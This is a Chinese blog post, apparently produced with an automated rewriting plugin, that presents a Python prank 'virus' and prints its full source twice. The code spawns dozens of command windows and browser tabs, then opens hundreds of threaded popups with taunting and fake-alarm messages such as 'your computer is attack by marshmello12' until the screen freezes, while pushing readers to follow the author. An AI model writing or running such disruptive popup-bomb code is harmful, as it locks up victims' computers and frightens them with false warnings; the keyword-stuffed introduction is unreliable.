大家好,小编为大家解答python如何控制电脑产生弹窗的问题。很多人还不知道简单的弹窗病毒编程代码,现在让我们一起来看看吧!
火车头采集ai伪原创插件截图:
目录
病毒简介
作者闲着无聊做的,名字没想好的病毒,可以把你的电脑卡白屏(不排除是作者电脑配置太低),也算给自己打个广告(三个粉丝里两同学)
病毒讲解
首先,据作者不完全统计,有370个弹窗,狠心点可以继续加。
要导入以下软件:
import io
import random
import locale
from tkinter import *
from os import system
import tkinter
import os
from base64 import b64decode
from tkinter import messagebox
from platform import platform as plat
import webbrowser
import time
import tkinter.messagebox
import threading
import tkinter as tk
我把病毒分了三部分,先第一部分python小程序代码50 到100行,python小程序代码100行。
上代码:
for i in range(20):
webbrowser.open("baidu.com")
os.system("start cmd")
time.sleep(4.0)
for i in range(40):
os.system("start cmd")
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='your computer is attack by marshmello12', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
这一部分主要是把你电脑卡一下,让你不好操作。
第二部分:
threads = []
for i in range(40):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(6.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='关注mashmallow12,问题就没了', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(10):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(1.0)
webbrowser.open("blog.youkuaiyun.com")
time.sleep(20.0)
这一部分呢,是让关注我的,算打了个广告吧。
第三部分:
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='你失败了,你好像没关注他', bg='yellow',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(10):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(2.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='你的电脑出了问题', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1.0)
threads = []
for i in range(40):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(6.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('wow')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='详细见www.csdn.com搜marshmello12', bg='blue',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(60):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(3.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('yes,fool')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='we are fool', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(100):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='bye-bye', bg='blue',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(80):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
这一部分就是病毒的主要部分了,可以把我电脑卡白屏
病毒源码
源码如下:
import io
import random
import locale
from tkinter import *
from os import system
import tkinter
import os
from base64 import b64decode
from tkinter import messagebox
from platform import platform as plat
import webbrowser
import time
import tkinter.messagebox
import threading
import tkinter as tk
#好戏开始!
for i in range(20):
webbrowser.open("baidu.com")
os.system("start cmd")
time.sleep(4.0)
for i in range(40):
os.system("start cmd")
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('haha')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='your computer is attack by marshmello12', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(40):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(6.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='关注mashmallow12,问题就没了', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(10):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(1.0)
webbrowser.open("blog.youkuaiyun.com")
time.sleep(20.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='你失败了,你好像没关注他', bg='yellow',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(10):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(2.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='你的电脑出了问题', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1.0)
threads = []
for i in range(40):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(6.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('wow')
window.geometry("300x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='详细见www.csdn.com搜marshmello12', bg='blue',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(60):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
time.sleep(3.0)
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('yes,fool')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='we are fool', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(100):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()
def boom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('啊哦')
window.geometry("200x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='bye-bye', bg='blue',
font=('宋体', 17), width=20, height=4).pack()
window.mainloop()
time.sleep(1)
threads = []
for i in range(80):
t = threading.Thread(target=boom)
threads.append(t)
time.sleep(0)
threads[i].start()